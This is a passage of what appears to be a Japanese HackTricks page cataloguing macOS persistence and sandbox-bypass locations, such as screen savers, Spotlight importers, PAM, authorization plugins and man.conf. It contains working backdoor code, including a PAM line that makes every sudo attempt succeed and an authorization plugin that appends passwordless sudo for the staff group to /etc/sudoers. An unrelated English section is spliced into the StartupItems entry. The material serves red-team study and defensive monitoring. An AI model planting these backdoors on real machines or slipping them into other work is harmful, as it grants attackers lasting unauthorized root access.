  • 非常に特定のアクションが必要

  • 別のサンドボックスに入ることになる

  • TCC バイパス: 🔴

位置

  • /Library/ColorPickers

  • ルート権限が必要

  • トリガー: カラーピッカーを使用する

  • ~/Library/ColorPickers

  • トリガー: カラーピッカーを使用する

説明とエクスプロイト

コードと一緒にカラーピッカーバンドルをコンパイルします(例: こちらを使用できます)そしてコンストラクタを追加します(スクリーンセーバーセクションのように)バンドルを~/Library/ColorPickersにコピーします。

その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。

あなたのライブラリをロードするバイナリには非常に制限の厳しいサンドボックスがあることに注意してください: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Finder Sync Plugins

解説: https://theevilbit.github.io/beyond/beyond_0026/ 解説: https://objective-see.org/blog/blog_0x11.html

  • サンドボックスをバイパスするのに役立つ: いいえ、独自のアプリを実行する必要があるため

  • TCCバイパス: ???

位置

  • 特定のアプリ

説明とエクスプロイト

Finder Sync Extensionを持つアプリケーションの例はこちらで見つけることができます

アプリケーションにはFinder Sync Extensionsを持つことができます。この拡張機能は、実行されるアプリケーション内に配置されます。さらに、拡張機能がコードを実行できるようにするには、いくつかの有効なApple開発者証明書で署名されている必要がありサンドボックス化されている必要があります(緩和された例外が追加される可能性があります)、そして次のようなものに登録されている必要があります:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

スクリーンセーバー

Writeup: https://theevilbit.github.io/beyond/beyond_0016/ Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • サンドボックスをバイパスするのに便利: 🟠

  • ただし、一般的なアプリケーションサンドボックスに入る

  • TCCバイパス: 🔴

ロケーション

  • /System/Library/Screen Savers

  • ルート権限が必要

  • トリガー: スクリーンセーバーを選択

  • /Library/Screen Savers

  • ルート権限が必要

  • トリガー: スクリーンセーバーを選択

  • ~/Library/Screen Savers

  • トリガー: スクリーンセーバーを選択

説明とエクスプロイト

Xcodeで新しいプロジェクトを作成し、新しいスクリーンセーバーを生成するためのテンプレートを選択します。次に、例えば以下のコードを追加してログを生成します。

ビルドし、.saverバンドルを**~/Library/Screen Savers**にコピーします。その後、スクリーンセーバーGUIを開き、それをクリックするだけで多くのログが生成されるはずです:

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

このコードをロードするバイナリの権限(/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver)の中に com.apple.security.app-sandbox があるため、一般的なアプリケーションサンドボックス内にいることに注意してください。

Saver code:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Spotlight Plugins

writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • 便利なサンドボックス回避に使用: 🟠

  • ただし、アプリケーションのサンドボックスに入ることになります

  • TCCバイパス: 🔴

  • サンドボックスは非常に制限されています

位置

  • ~/Library/Spotlight/

  • トリガー: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。

  • /Library/Spotlight/

  • トリガー: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。

  • ルート権限が必要

  • /System/Library/Spotlight/

  • トリガー: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。

  • ルート権限が必要

  • Some.app/Contents/Library/Spotlight/

  • トリガー: スポットライトプラグインで管理される拡張子の新しいファイルが作成されます。

  • 新しいアプリが必要

説明と悪用

SpotlightはmacOSの組み込み検索機能で、ユーザーにコンピュータ上のデータへの迅速かつ包括的なアクセスを提供するよう設計されています。 この迅速な検索機能を可能にするために、Spotlightは独自のデータベースを維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名とその内容の両方を素早く検索できるようにします。

Spotlightの基本メカニズムには、'mds'という中央プロセスが関与しており、これは**'メタデータサーバ'の略称です。このプロセスはSpotlightサービス全体を統括します。これに加えて、異なるファイルタイプをインデックス化するなどのさまざまなメンテナンスタスクを実行する複数の'mdworker'デーモンが存在します(ps -ef | grep mdworker)。これらのタスクは、Spotlightインポータープラグインまたは".mdimporterバンドル**"によって可能にされ、Spotlightがさまざまなファイル形式全体のコンテンツを理解してインデックス化できるようにします。

プラグインまたは**.mdimporterバンドルは以前に言及された場所にあり、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要)。これらのバンドルは、管理できるファイルタイプと拡張子を示さなければならず**、このようにして、指定された拡張子の新しいファイルが作成されるとSpotlightがそれらを使用します。

すべての**mdimporters**を見つけることができます。実行中:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

そして例えば**/Library/Spotlight/iBooksAuthor.mdimporter**は、これらの種類のファイル(拡張子.ibaおよび.bookなど)を解析するために使用されます:

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

他のmdimporterのPlistをチェックすると、**UTTypeConformsTo**エントリが見つからないことがあります。これは組み込みの_Uniform Type Identifiers_ (UTI)であり、拡張子を指定する必要がないためです。

さらに、システムのデフォルトプラグインが常に優先されるため、攻撃者はAppleの独自のmdimportersによってインデックス付けされていないファイルにのみアクセスできます。

独自のインポータを作成するには、このプロジェクトから始めることができます: https://github.com/megrimm/pd-spotlight-importer、そして名前を変更し、**CFBundleDocumentTypesを変更し、UTImportedTypeDeclarationsを追加して、サポートしたい拡張子をサポートし、schema.xmlでそれらを反映させます。 その後、GetMetadataForFile**関数のコードを変更して、処理された拡張子を持つファイルが作成されたときにペイロードを実行するようにします。

最後に、新しい.mdimporterをビルドしてコピーし、以前のいずれかの場所に配置し、ログを監視するか、**mdimport -L**をチェックしてロードされているかどうかを確認できます。

Preference Pane

これはもう機能していないようです。

解説: https://theevilbit.github.io/beyond/beyond_0009/

  • サンドボックス回避に便利: 🟠

  • 特定のユーザーアクションが必要です

  • TCC回避: 🔴

位置

  • /System/Library/PreferencePanes

  • /Library/PreferencePanes

  • ~/Library/PreferencePanes

説明

これはもう機能していないようです。

Root Sandbox Bypass

ここでは、サンドボックス回避に役立つ開始位置を見つけることができます。これにより、ファイルに書き込むことで単純に何かを実行できます。rootであることや他の奇妙な条件が必要です。

定期的

解説: https://theevilbit.github.io/beyond/beyond_0019/

  • サンドボックス回避に便利: 🟠

  • ただし、rootである必要があります

  • TCC回避: 🔴

位置

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic

  • root権限が必要

  • トリガー: 時間が来たとき

  • /etc/daily.local, /etc/weekly.localまたは/etc/monthly.local

  • root権限が必要

  • トリガー: 時間が来たとき

説明と悪用

定期スクリプト(/etc/periodic)は、/System/Library/LaunchDaemons/com.apple.periodic*で構成されたランチデーモンによって実行されます。/etc/periodic/に保存されたスクリプトはファイルの所有者として実行されるため、潜在的な特権昇格には機能しません。

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

**/etc/defaults/periodic.conf**に記載されている実行される他の定期スクリプトがあります:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

/etc/daily.local/etc/weekly.local、または/etc/monthly.localのいずれかのファイルを書き換えることができれば、sooner or later実行されます

定期スクリプトはスクリプトの所有者として実行されます。したがって、通常のユーザーがスクリプトの所有者である場合、そのユーザーとして実行されます(これにより特権昇格攻撃が防止される可能性があります)。

PAM

Writeup: Linux Hacktricks PAM Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • サンドボックスをバイパスするのに便利: 🟠

  • ただし、rootである必要があります

  • TCCバイパス: 🔴

位置

  • 常にRootが必要

説明と悪用

PAMはmacOS内での簡単な実行よりも持続性とマルウェアに焦点を当てているため、このブログではこのテクニックをよりよく理解するために詳細な説明は行いません。

ls -l /etc/pam.d

永続性/特権昇格テクニックは、PAMを悪用することで簡単に行うことができます。/etc/pam.d/sudoモジュールを変更し、冒頭に次の行を追加するだけです:

auth       sufficient     pam_permit.so

したがって、それは次のように見えるでしょう:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

そしてしたがって、sudoを使用しようとする試みはすべて成功します

このディレクトリはTCCによって保護されているため、ユーザーにアクセスを求めるプロンプトが表示される可能性が非常に高いことに注意してください。

認可プラグイン

解説: https://theevilbit.github.io/beyond/beyond_0028/ 解説: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • サンドボックスをバイパスするのに便利: 🟠

  • ただし、rootである必要があり、追加の設定が必要です

  • TCCバイパス: ???

位置

  • /Library/Security/SecurityAgentPlugins/

  • root権限が必要

  • プラグインを使用するために認可データベースを構成する必要があります

説明と悪用

ユーザーがログインするときに実行される認可プラグインを作成して、持続性を維持できます。これらのプラグインの作成方法についての詳細は、以前の解説を確認してください(悪く書かれたプラグインはロックアウトの原因となり、回復モードからMacをクリーンアップする必要があります)。

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

バンドルをロードされる場所に移動してください:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

最後に、このプラグインをロードするルールを追加してください。

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

**evaluate-mechanismsは、認可フレームワークに、認可のために外部メカニズムを呼び出す必要があることを伝えます。さらに、privileged**は、それをrootによって実行されるようにします。

以下のようにトリガーします:

security authorize com.asdf.asdf

そして、スタッフグループにはsudoアクセス権が必要です(/etc/sudoersを読んで確認してください)。

Man.conf

解説: https://theevilbit.github.io/beyond/beyond_0030/

  • サンドボックスをバイパスするのに便利: 🟠

  • ただし、rootである必要があり、ユーザーはmanを使用する必要があります

  • TCCバイパス: 🔴

位置

  • /private/etc/man.conf

  • root権限が必要

  • /private/etc/man.conf: manが使用されるたび

説明とエクスプロイト

設定ファイル**/private/etc/man.conf**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルへのパスを変更すると、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行される可能性があります。

例えば、**/private/etc/man.conf**に設定されています:

MANPAGER /tmp/view

その後、/tmp/viewを次のように作成します:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

解説: https://theevilbit.github.io/beyond/beyond_0023/

  • サンドボックスをバイパスするのに便利: 🟠

  • ただし、rootである必要があり、apacheが実行されている必要がある

  • TCCバイパス: 🔴

  • Httpdには権限がない

位置

  • /etc/apache2/httpd.conf

  • root権限が必要

  • トリガー: Apache2が起動したとき

説明とエクスプロイト

/etc/apache2/httpd.conf にモジュールをロードするよう指示することができます。次のような行を追加します:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

これにより、コンパイルされたモジュールがApacheによってロードされます。唯一の注意点は、有効なApple証明書で署名するか、システムに新しい信頼された証明書を追加してそれで署名する必要があることです。

その後、サーバーが起動することを確認するために必要な場合は、次のコマンドを実行できます:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

コード例はDylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM監査フレームワーク

解説: https://theevilbit.github.io/beyond/beyond_0031/

  • サンドボックスをバイパスするのに便利: 🟠

  • ただし、rootである必要があり、auditdが実行されている必要があり、警告を引き起こす必要がある

  • TCCバイパス: 🔴

位置

  • /etc/security/audit_warn

  • root権限が必要

  • トリガー: auditdが警告を検出したとき

説明とエクスプロイト

auditdが警告を検出すると、スクリプト /etc/security/audit_warn実行 されます。したがって、そこにペイロードを追加できます。

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

スタートアップアイテム

これは非推奨ですので、これらのディレクトリには何も見つかるべきではありません。

StartupItem は、/Library/StartupItems/ または /System/Library/StartupItems/ のいずれかに配置する必要があるディレクトリです。このディレクトリが確立されると、次の2つの特定のファイルを含める必要があります。

  1. rc スクリプト:起動時に実行されるシェルスクリプト。

  2. plist ファイルStartupParameters.plist という名前のファイルで、さまざまな構成設定を含みます。

スタートアッププロセスがこれらを認識して利用するために、rc スクリプトと StartupParameters.plist ファイルが正しく StartupItem ディレクトリ内に配置されていることを確認してください。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

macOS Auto Start Locations

macOS provides several locations where programs can be configured to automatically start when a user logs in. These auto-start locations can be leveraged by malware to maintain persistence on a system. It is important to regularly review and monitor these locations to ensure only legitimate programs are set to auto-start.

User-Level Auto-Start Locations

  1. Login Items: Located in System Preferences > Users & Groups > Login Items, this is the most common location where users can configure programs to auto-start at login.

  2. Launch Agents: Located in ~/Library/LaunchAgents, these are used to launch programs when a user logs in. Malware can install launch agents to achieve persistence.

  3. Launch Daemons: Located in /Library/LaunchDaemons, these are system-wide launch agents that execute with elevated privileges. Malware may abuse this location for persistence.

System-Level Auto-Start Locations

  1. Startup Items: Located in /Library/StartupItems, these were used in older versions of macOS but are deprecated in macOS 10.11 and later.

  2. Launch Daemons: Located in /Library/LaunchDaemons, these system-wide launch agents execute with elevated privileges.

  3. Startup Daemons: Located in /System/Library/LaunchDaemons, these are launch daemons that are critical for the system to boot up properly.

By monitoring and reviewing these auto-start locations, users can detect and remove any unauthorized or malicious programs that may be configured to auto-start on their macOS system.

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

emond

私のmacOSではこのコンポーネントを見つけることができませんので、詳細についてはwriteupをチェックしてください

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Appleによって導入されたemondは、開発が不十分であるか、おそらく放棄されているように見えますが、アクセス可能なままです。Mac管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性手法として機能する可能性があり、おそらくほとんどのmacOS管理者には気付かれないでしょう。

その存在を認識している人にとって、emondの悪用を特定することは簡単です。このサービスのLaunchDaemonは、実行するスクリプトを単一のディレクトリで探します。これを調査するために、次のコマンドを使用できます:

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

ロケーション

  • /opt/X11/etc/X11/xinit/privileged_startx.d

  • ルート権限が必要

  • トリガー: XQuartzを使用する場合

説明とエクスプロイト

XQuartzはもはやmacOSにインストールされていませんので、詳細についてはライトアップをチェックしてください。

kext

ルートとしてさえkextをインストールするのは非常に複雑なので、サンドボックスから脱出するためや持続性のためにこれを考慮しないでしょう(エクスプロイトがある場合を除く)

ロケーション

KEXTを起動アイテムとしてインストールするには、次のいずれかの場所にインストールする必要があります:

  • /System/Library/Extensions

  • OS Xオペレーティングシステムに組み込まれたKEXTファイル。

  • /Library/Extensions

  • サードパーティ製ソフトウェアによってインストールされたKEXTファイル

現在ロードされているkextファイルをリストアップすることができます:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

詳細については、カーネル拡張機能をチェックしてください

amstoold

解説: https://theevilbit.github.io/beyond/beyond_0029/

位置

  • /usr/local/bin/amstoold

  • ルート権限が必要

説明と悪用

明らかに、/System/Library/LaunchAgents/com.apple.amstoold.plistからのplistは、XPCサービスを公開しながらこのバイナリを使用していました...問題は、バイナリが存在しなかったため、そこに何かを配置し、XPCサービスが呼び出されるときにバイナリが呼び出されることができました。

私のmacOSではこれを見つけることができなくなりました。

xsanctl

解説: https://theevilbit.github.io/beyond/beyond_0015/

位置

  • /Library/Preferences/Xsan/.xsanrc

  • ルート権限が必要

  • トリガー: サービスが実行されるとき(まれ)

説明と悪用

このスクリプトを実行することはあまり一般的ではないようで、私のmacOSでも見つけることができませんでした。詳細については、解説をご覧ください。

/etc/rc.common

これは現代のMacOSバージョンでは機能しません

ここには、起動時に実行されるコマンドを配置することも可能です。 通常のrc.commonスクリプトの例:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

持続性の技術とツール

htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

Last updated